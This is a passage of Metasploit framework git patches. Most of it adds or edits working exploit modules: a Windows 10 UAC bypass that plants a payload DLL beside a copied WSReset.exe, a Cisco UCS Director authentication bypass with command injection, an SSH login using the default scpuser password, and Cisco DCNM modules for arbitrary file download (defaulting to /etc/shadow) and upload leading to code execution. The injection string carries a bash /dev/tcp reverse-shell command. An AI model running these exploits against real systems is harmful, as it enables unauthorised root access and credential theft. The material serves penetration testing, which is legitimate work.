2019', + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + }, + 'References' => [ + ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], + ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'], + ], + ) + ) + end + + def check + if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") + return CheckCode::Appears + end + CheckCode::Safe + end + + def exploit + check_permissions! + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + exploit_win_dir = "C:\\Windows \\" + exploit_dir = "C:\\Windows \\System32\\" + exploit_file = exploit_dir + "WSReset.exe" + unless exists? exploit_win_dir + print_status("Creating directory '#{exploit_win_dir}'...") + session.fs.dir.mkdir(exploit_win_dir) + end + unless exists? exploit_dir + print_status("Creating directory '#{exploit_dir}'...") + session.fs.dir.mkdir(exploit_dir) + end + unless exists? exploit_file + session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file) + end + + payload_dll = "C:\\Windows \\System32\\propsys.dll" + print_status("Creating payload '#{payload_dll}'...") + payload = generate_payload_dll + write_file(payload_dll, payload) + print_status("Executing WSReset.exe...") + begin + session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, {'Hidden' => true}) + rescue ::Exception => e + print_error(e.to_s) + end + print_warning("This exploit requires manual cleanup of the '#{exploit_win_dir}' and '#{exploit_dir}' directories!") + end + + def check_permissions! + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + end + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + # Check if you are an admin + # is_in_admin_group can be nil, true, or false + print_status('UAC is Enabled, checking level...') + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end +end From bcccfd86b8f1777c41f3a246da8d81754618005a Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Mon, 26 Aug 2019 13:22:14 -0500 Subject: [PATCH 069/217] Teach module cache about `realname` Also uses the class refname where appropriate since an instances refname reflects the alias currently in use and if a module is reloaded while using an alias the old behavior would generate spurious cache entries that would not be cleaned up or modified. Specifically, this could register a self-referential alias that would cause a stack overflow when trying to `use` such an alias. Additionally, some other `fullname`s were changed to `realname`s for clarity. --- lib/msf/core/module/full_name.rb | 8 ++++++++ lib/msf/core/module_manager/loading.rb | 8 ++++---- lib/msf/core/modules/metadata/cache.rb | 2 +- lib/msf/core/modules/metadata/maps.rb | 10 +++++----- lib/msf/core/modules/metadata/obj.rb | 4 ++-- 5 files changed, 20 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/module/full_name.rb b/lib/msf/core/module/full_name.rb index f0e6756305..c53120e12e 100644 --- a/lib/msf/core/module/full_name.rb +++ b/lib/msf/core/module/full_name.rb @@ -24,6 +24,14 @@ module Msf::Module::FullName "#{type}/#{refname}" end + # + # Classes themselves are never aliased (at the moment, anyway), but this is + # always just the {#fullname}. + # + def realname + fullname + end + def promptname refname end diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index b00a39e7bb..4208f8ea0d 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -89,18 +89,18 @@ module Msf::ModuleManager::Loading # Clear and add aliases, if any (payloads cannot) - if class_or_module.respond_to?(:fullname) && aliased_as = self.inv_aliases[class_or_module.fullname] + if class_or_module.respond_to?(:realname) && aliased_as = self.inv_aliases[class_or_module.realname] aliased_as.each do |a| self.aliases.delete a end - self.inv_aliases.delete class_or_module.fullname + self.inv_aliases.delete class_or_module.realname end if class_or_module.respond_to? :aliases class_or_module.aliases.each do |a| - self.aliases[a] = class_or_module.fullname + self.aliases[a] = class_or_module.realname end - self.inv_aliases[class_or_module.fullname] = class_or_module.aliases unless class_or_module.aliases.empty? + self.inv_aliases[class_or_module.realname] = class_or_module.aliases unless class_or_module.aliases.empty? end end diff --git a/lib/msf/core/modules/metadata/cache.rb b/lib/msf/core/modules/metadata/cache.rb index 0b61807ca9..d9346336dc 100644 --- a/lib/msf/core/modules/metadata/cache.rb +++ b/lib/msf/core/modules/metadata/cache.rb @@ -146,7 +146,7 @@ class Cache key = '' key << (module_instance.type.nil? ? '' : module_instance.type) key << '_' - key << module_instance.refname + key << module_instance.class.refname return key end diff --git a/lib/msf/core/modules/metadata/maps.rb b/lib/msf/core/modules/metadata/maps.rb index 95a78e5e4e..3a9ed73018 100644 --- a/lib/msf/core/modules/metadata/maps.rb +++ b/lib/msf/core/modules/metadata/maps.rb @@ -20,33 +20,33 @@ module Msf::Modules::Metadata::Maps get_metadata.each do |exploit| # expand this in future to be more specific about remote exploits. next unless exploit.type == "exploit" - fullname = exploit.fullname + realname = exploit.realname exploit.references.each do |reference| next if reference =~ /^URL/ ref = reference ref.upcase! mrefs[ref] ||= {} - mrefs[ref][fullname] = exploit + mrefs[ref][realname] = exploit end if exploit.rport rport = exploit.rport mports[rport.to_i] ||= {} - mports[rport.to_i][fullname] = exploit + mports[rport.to_i][realname] = exploit end unless exploit.autofilter_ports.nil? || exploit.autofilter_ports.empty? exploit.autofilter_ports.each do |rport| mports[rport.to_i] ||= {} - mports[rport.to_i][fullname] = exploit + mports[rport.to_i][realname] = exploit end end unless exploit.autofilter_services.nil? || exploit.autofilter_services.empty? exploit.autofilter_services.each do |serv| mservs[serv] ||= {} - mservs[serv][fullname] = exploit + mservs[serv][realname] = exploit end end diff --git a/lib/msf/core/modules/metadata/obj.rb b/lib/msf/core/modules/metadata/obj.rb index a41f65e146..d39040b1fe 100644 --- a/lib/msf/core/modules/metadata/obj.rb +++ b/lib/msf/core/modules/metadata/obj.rb @@ -61,7 +61,7 @@ class Obj end @name = module_instance.name - @fullname = module_instance.fullname + @fullname = module_instance.realname @aliases = module_instance.aliases @disclosure_date = module_instance.disclosure_date @rank = module_instance.rank.to_i @@ -80,7 +80,7 @@ class Obj @rport = module_instance.datastore['RPORT'] @path = module_instance.file_path @mod_time = ::File.mtime(@path) rescue Time.now - @ref_name = module_instance.refname + @ref_name = module_instance.class.refname @needs_cleanup = module_instance.respond_to?(:needs_cleanup) && module_instance.needs_cleanup if module_instance.respond_to?(:autofilter_ports) From f8b7100565de4507ca1ad960ef5cfb2870e471e0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Tue, 27 Aug 2019 17:58:51 +0200 Subject: [PATCH 070/217] meterpreter UI, fs.rb: use client's separator instead of '\\' --- .../meterpreter/ui/console/command_dispatcher/stdapi/fs.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index ab1f1524ff..11dac917cf 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -182,9 +182,9 @@ class Console::CommandDispatcher::Stdapi::Fs print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") files.each do | file | if file['size'] > 0 - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") + print(" #{file['path']}#{ file['path'].empty? ? '' : client.fs.file.separator }#{file['name']} (#{file['size']} bytes)\n") else - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") + print(" #{file['path']}#{ file['path'].empty? ? '' : client.fs.file.separator }#{file['name']}\n") end end From caafac345590a1dec298cb05f0ac3f6bcf95f46c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Tue, 27 Aug 2019 18:12:47 +0200 Subject: [PATCH 071/217] meterpreter, fs/file.rb: use client's separator instead of '\\' --- lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index 75cb45d685..ac9d132eb4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -82,7 +82,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO request = Packet.create_request( 'stdapi_fs_search' ) root = client.unicode_filter_decode(root) if root - root = root.chomp( '\\' ) if root + root = root.chomp( ::File.separator ) if root request.add_tlv( TLV_TYPE_SEARCH_ROOT, root ) request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob ) @@ -94,7 +94,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO if( response.result == 0 ) response.each( TLV_TYPE_SEARCH_RESULTS ) do | results | files << { - 'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( '\\' )), + 'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( ::File.separator )), 'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)), 'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE) } From 1aad95f7c42a31cc1af1f8d60531540898ff5cb2 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 28 Aug 2019 10:55:49 +0700 Subject: [PATCH 072/217] Add exploit for Cisco UCS RCE --- modules/exploits/linux/http/cisco_ucs_rce.rb | 154 +++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 modules/exploits/linux/http/cisco_ucs_rce.rb diff --git a/modules/exploits/linux/http/cisco_ucs_rce.rb b/modules/exploits/linux/http/cisco_ucs_rce.rb new file mode 100644 index 0000000000..3f857edbe0 --- /dev/null +++ b/modules/exploits/linux/http/cisco_ucs_rce.rb @@ -0,0 +1,154 @@ + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# Version tests with demo VM +# - 6.7 WORKS +# - 6.6 WORKS + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution', + 'Description' => %q{ + The Cisco UCS Directory virtual appliance contains two flaws that can be combined + and abused by an attacker to achieve remote code execution as root. + The first one, CVE-2019-1937, is an authentication bypass, that allows the + attacker to authenticate as an administrator. + The second one, CVE-2019-1936, is a command injection in a password change form, + that allows the attacker to inject commands that will execute as root. + This module combines both vulnerabilities to achieve the unauthenticated command + injection as root. + It has been tested with Cisco UCS Directory virtual machines 6.6.0 and 6.7.0. + Note that Cisco also mentions in their advisory that their IMC Supervisor and + UCS Director Express are also affected by these vulnerabilities, but this module + was not tested with those products. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-1937' ], # auth bypass + [ 'CVE', '2019-1936' ], # command injection + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ], + [ 'URL', 'FULL_DISC' ], + [ 'URL', 'GITHUB' ] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => + { + 'payload' => 'cmd/unix/reverse_bash', + }, + 'Targets' => + [ + [ 'Cisco UCS Director < 6.7.2.0', {} ], + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 21 2019' + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 443]), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [ true, "Default server path", '/']), + ]) + end + + + def check + # can't think of anything better then this + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'login'), + 'method' => 'GET' + }) + if res && res.code == 302 + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Unknown + end + + def exploit + # step 1: get a JSESSIONID cookie + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'login'), + 'method' => 'GET' + }) + + if res and (res.code == 200 or res.code == 302) + jsession = res.get_cookies.split(';')[0] + + # step 2: authenticate our cookie as admin + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'ClientServlet'), + 'cookie' => jsession, + 'vars_get' => + { + 'apiName' => 'GetUserInfo' + }, + 'headers' => + { + # X-Requested-With and Referer headers are needed, else the server ignores us + # The X-Starship headers are the key to this auth bypass vuln, see the References + 'X-Requested-With' => 'XMLHttpRequest', + 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", + 'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}", + 'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}" + }, + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /admin/ + if not res.get_cookies.empty? + # if the server returns a new cookie, use that + jsession = res.get_cookies.split(';')[0] + end + print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!") + + # step 3: request our reverse shell + payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}} + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'ClientServlet'), + 'cookie' => jsession, + 'headers' => + { + # X-Requested-With and Referer headers are needed, else the server ignores us + # The X-Starship headers are the key to this auth bypass vuln, see the References + 'X-Requested-With' => 'XMLHttpRequest', + 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", + }, + 'method' => 'POST', + 'vars_post' => + { + 'formatType' => 'json', + 'apiName' => 'ExecuteGenericOp', + 'serviceName' => 'InfraMgr', + 'opName' => 'doFormSubmit', + 'opData' => payload + } + }) + if res and res.code == 200 + print_good("#{peer} - Shelly is here, press ENTER to start playing with her!") + end + else + fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie") + end + end +end From d6f47fd03aaeb89e046c230baa83bb3c03a0a026 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 28 Aug 2019 10:58:41 +0700 Subject: [PATCH 073/217] s/Directory/Director --- modules/exploits/linux/http/cisco_ucs_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/cisco_ucs_rce.rb b/modules/exploits/linux/http/cisco_ucs_rce.rb index 3f857edbe0..d0a22f204c 100644 --- a/modules/exploits/linux/http/cisco_ucs_rce.rb +++ b/modules/exploits/linux/http/cisco_ucs_rce.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution', 'Description' => %q{ - The Cisco UCS Directory virtual appliance contains two flaws that can be combined + The Cisco UCS Director virtual appliance contains two flaws that can be combined and abused by an attacker to achieve remote code execution as root. The first one, CVE-2019-1937, is an authentication bypass, that allows the attacker to authenticate as an administrator. @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote that allows the attacker to inject commands that will execute as root. This module combines both vulnerabilities to achieve the unauthenticated command injection as root. - It has been tested with Cisco UCS Directory virtual machines 6.6.0 and 6.7.0. + It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. Note that Cisco also mentions in their advisory that their IMC Supervisor and UCS Director Express are also affected by these vulnerabilities, but this module was not tested with those products. From 7fd56f5fb3926ca0cee08fca1a5e64d4b44abe1c Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 28 Aug 2019 11:00:08 +0700 Subject: [PATCH 074/217] Add Cisco UCS scpuser exploit --- .../exploits/linux/ssh/cisco_ucs_scpuser.rb | 146 ++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 modules/exploits/linux/ssh/cisco_ucs_scpuser.rb diff --git a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb new file mode 100644 index 0000000000..bfaa3fa9ae --- /dev/null +++ b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb @@ -0,0 +1,146 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# Version tests with demo VM +# - 6.7 WORKS +# - 6.6 WORKS + +require 'net/ssh' +require 'net/ssh/command_stream' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "Cisco UCS Director default scpuser password", + 'Description' => %q{ + This module abuses a known default password on Cisco UCS Director. The 'scpuser' + has the password of 'scpuser', and allows an attacker to login to the virtual appliance + via SSH. + This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. + Note that Cisco also mentions in their advisory that their IMC Supervisor and + UCS Director Express are also affected by these vulnerabilities, but this module + was not tested with those products. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'References' => + [ + [ 'CVE', '2019-1935' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ], + [ 'URL', 'FULL_DISC' ], + [ 'URL', 'GITHUB' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Cisco UCS Director < 6.7.2.0', {} ], + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 21 2019' + )) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(22) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + + def rhost + datastore['RHOST'] + end + + + def rport + datastore['RPORT'] + end + + + def do_login(user, pass) + factory = ssh_socket_factory + opts = { + :auth_methods => ['password', 'keyboard-interactive'], + :port => rport, + :use_agent => false, + :config => false, + :password => pass, + :proxy => factory, + :non_interactive => true, + :verify_host_key => :never + } + + opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(rhost, user, opts) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh + conn = Net::SSH::CommandStream.new(ssh) + ssh = nil + return conn + end + + return nil + end + + + def exploit + user = 'scpuser' + pass = 'scpuser' + + print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...") + conn = do_login(user, pass) + if conn + print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})") + handler(conn.lsock) + end + end +end From 98efac5bfb0bf8b7523f4f79dafac280be060252 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 28 Aug 2019 11:08:01 +0700 Subject: [PATCH 075/217] Add github link --- modules/exploits/linux/ssh/cisco_ucs_scpuser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb index bfaa3fa9ae..70813d6989 100644 --- a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb +++ b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'CVE', '2019-1935' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ], [ 'URL', 'FULL_DISC' ], - [ 'URL', 'GITHUB' ] + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] ], 'DefaultOptions' => { From c88ce550131c66c056f9dc27d7f11c5e99d355a3 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 28 Aug 2019 11:08:35 +0700 Subject: [PATCH 076/217] Add github link --- modules/exploits/linux/http/cisco_ucs_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/cisco_ucs_rce.rb b/modules/exploits/linux/http/cisco_ucs_rce.rb index d0a22f204c..f800cf135a 100644 --- a/modules/exploits/linux/http/cisco_ucs_rce.rb +++ b/modules/exploits/linux/http/cisco_ucs_rce.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ], [ 'URL', 'FULL_DISC' ], - [ 'URL', 'GITHUB' ] + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, From b96d9c75ac60c0a1f721058ca762b148199e35a1 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 11:05:57 +0700 Subject: [PATCH 077/217] make requested changes --- .../admin/cisco/cisco_dcnm_download.rb | 69 ++++++++----------- 1 file changed, 30 insertions(+), 39 deletions(-) diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb index 1a8b3866f7..db9799369e 100644 --- a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -1,14 +1,8 @@ - ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -# Tested on : -# Linux/VA 10.4.2 OK -# Linux/VA 11.0.1 OK -# Linux/VA 11.1.1 OK - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -18,12 +12,12 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download', 'Description' => %q{ - DCNM exposes a servlet to download files on /fm/downloadServlet. - An authenticated user can abuse this servlet to download arbitrary files as root by specifying - the full path of the file. - This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should - work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit - (see References to understand why). + DCNM exposes a servlet to download files on /fm/downloadServlet. + An authenticated user can abuse this servlet to download arbitrary files as root by specifying + the full path of the file. + This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should + work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit + (see References to understand why). }, 'Author' => [ @@ -44,49 +38,47 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptPort.new('RPORT', [true, 'The target port', 443]), + Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), - OptString.new('TARGETURI', [ true, "Default server path", '/']), - OptString.new('USERNAME', [ true, "Username for auth (required only for 11.0(1)", 'admin']), - OptString.new('PASSWORD', [ true, "Password for auth (required only for 11.0(1)", 'admin']), + OptString.new('TARGETURI', [true, "Default server path", '/']), + OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1)", 'admin']), + OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1)", 'admin']), OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']), ]) end - def auth_v11 - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET', 'vars_get' => { 'userName' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, - }) + ) if res && res.code == 200 # get the JSESSIONID cookie if res.get_cookies - res.get_cookies.split(';').each { |cok| - if cok =~ /JSESSIONID/ + res.get_cookies.split(';').each do |cok| + if cok.include?("JSESSIONID") return cok end - } + end end end end - def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET' }) # step 2: convert the Date header and create the auth hash - if res and res.headers['Date'] + if res && res.headers['Date'] jsession = res.get_cookies.split(';')[0] date = Time.httpdate(res.headers['Date']) server_date = date.strftime("%s").to_i * 1000 @@ -101,15 +93,15 @@ class MetasploitModule < Msf::Auxiliary # step 3: authenticate our cookie as admin # token format: sessionId.sysTime.md5_str.username - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'cookie' => jsession, 'vars_get' => { 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" }, 'method' => 'GET' - }) + ) if res and res.code == 500 return jsession @@ -117,12 +109,11 @@ class MetasploitModule < Msf::Auxiliary end end - def run - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fmrest', 'about','version'), + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), 'method' => 'GET' - }) + ) noauth = false if res && res.code == 200 @@ -147,20 +138,20 @@ class MetasploitModule < Msf::Auxiliary end end - if not jsession and not noauth - fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie") - else + if jsession or noauth print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") + else + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie") end - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'downloadServlet'), + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'), 'method' => 'GET', 'cookie' => jsession, 'vars_get' => { 'showFile' => datastore['FILEPATH'], } - }) + ) if res and res.code == 200 and res.body.length > 0 filedata = res.body From bda1120cac6e4732881bf642c90a8cc6bd734efb Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 11:14:40 +0700 Subject: [PATCH 078/217] make requested changes --- .../multi/http/cisco_dcnm_upload_2019.rb | 95 ++++++++----------- 1 file changed, 41 insertions(+), 54 deletions(-) diff --git a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb index efcbe929cb..68f817483c 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb @@ -1,14 +1,8 @@ - ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -# Tested on : -# Linux/VA 10.4.2 OK -# Linux/VA 11.0.1 OK -# Linux/VA 11.1.1 OK - require 'zip' require 'tempfile' @@ -23,15 +17,15 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution', 'Description' => %q{ - DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. - An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps - directory and achieve remote code execution as root. - This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on - versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct - directory for the 